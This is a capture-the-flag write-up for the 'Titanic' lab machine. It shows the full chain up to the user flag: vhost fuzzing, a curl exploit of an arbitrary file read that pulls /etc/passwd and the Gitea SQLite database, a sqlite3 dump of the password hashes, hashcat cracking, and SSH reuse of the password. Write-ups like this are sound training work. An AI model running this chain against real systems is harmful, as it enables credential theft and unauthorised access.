Post

Titanic

A Flask booking app reads files by client-supplied path, and a self-hosted Gitea instance leaks the on-disk location of its own SQLite database — chaining the two pulls gitea.db off the box, where a crackable PBKDF2 hash for the developer account doubles as the SSH password.

Titanic

Overview

Titanic is an easy-difficulty Linux box built around a small Flask booking site behind Apache. VHost fuzzing surfaces a second name, dev.titanic.htb, running Gitea with open registration. The Flask app’s ticket-download endpoint reads any file you name, and the Gitea repos conveniently disclose where Gitea’s SQLite database lives on disk. Reading that database, cracking the developer user’s PBKDF2 hash, and reusing the password over SSH gets the user flag. This post covers recon through user.txt.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Enumeration-heavy web box: vhost fuzzing surfaces Gitea, an arbitrary file-read primitive is chained against a derived SQLite DB path, and a PBKDF2 hash cracks for SSH reuse; no named CVE, realistic primitives.

Recon

PortServiceNotes
22/tcpOpenSSH 8.9p1Ubuntu 22.04
80/tcpApache httpd 2.4.52redirects to http://titanic.htb/
1
nmap -A -v 10.10.10.10

The redirect tells us to use the hostname, so add it to /etc/hosts and browse:

1
echo "10.10.10.10 titanic.htb" | sudo tee -a /etc/hosts

The site advertises the Titanic ship and lets you “Book Your Trip.” Submitting the form downloads a JSON file describing the booking — and that download is the interesting part.

Enumeration

Watching the booking request in Burp shows the form POSTs to /book, and the response triggers a second request:

1
GET /download?ticket=<uuid>.json

The ticket parameter controls which file is returned. Since the filename is fully attacker-controlled, it is worth testing for arbitrary file read:

1
curl -s 'http://titanic.htb/download?ticket=/etc/passwd'

It returns /etc/passwd — an Arbitrary File Read with no path-traversal protection. Among the entries is a real user:

1
developer:x:1000:1000:developer:/home/developer:/bin/bash

Nothing else jumps out from the filesystem yet, so look for more attack surface. VHost fuzzing finds a second name:

1
gobuster vhost -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r
1
Found: dev.titanic.htb  Status: 200 [Size: 13982]

dev.titanic.htb is a Gitea instance that allows self-registration. Register a throwaway account and explore the repos — there are two, both owned by developer: flask-app and docker-config.

flask-app is the source for the port-80 site and confirms the file-read bug in /download. docker-config is more useful: it contains docker-compose files. The Gitea one mounts a host folder as the container’s data volume:

1
2
3
4
5
services:
  gitea:
    image: gitea/gitea
    volumes:
      - /home/developer/gitea/data:/data

Gitea stores its SQLite database at /data/gitea/gitea.db by default, so on the host that resolves to /home/developer/gitea/data/gitea/gitea.db.

Foothold

1 — Read the Gitea database via the file-read primitive. Point the ticket parameter at the path we just derived:

1
curl -s 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db

The download succeeds and the file is a SQLite database.

2 — Dump the user table. Open it with sqlite3 and pull the credential material:

1
2
sqlite3 gitea.db ".tables"
sqlite3 gitea.db "select name, passwd, passwd_hash_algo, salt from user;"

The developer row holds a PBKDF2-HMAC-SHA256 hash (50000 iterations) with its base64 salt.

3 — Crack it. Gitea’s format maps to hashcat mode 10900 as sha256:<iterations>:<base64 salt>:<base64 hash>. Assemble that line and crack with rockyou:

1
2
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 10900 hash.txt --show

The password cracks quickly. It is reused for SSH:

User flag

1
2
developer@titanic:~$ cat user.txt
[redacted]

Privilege escalation (a root cron running a vulnerable ImageMagick) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.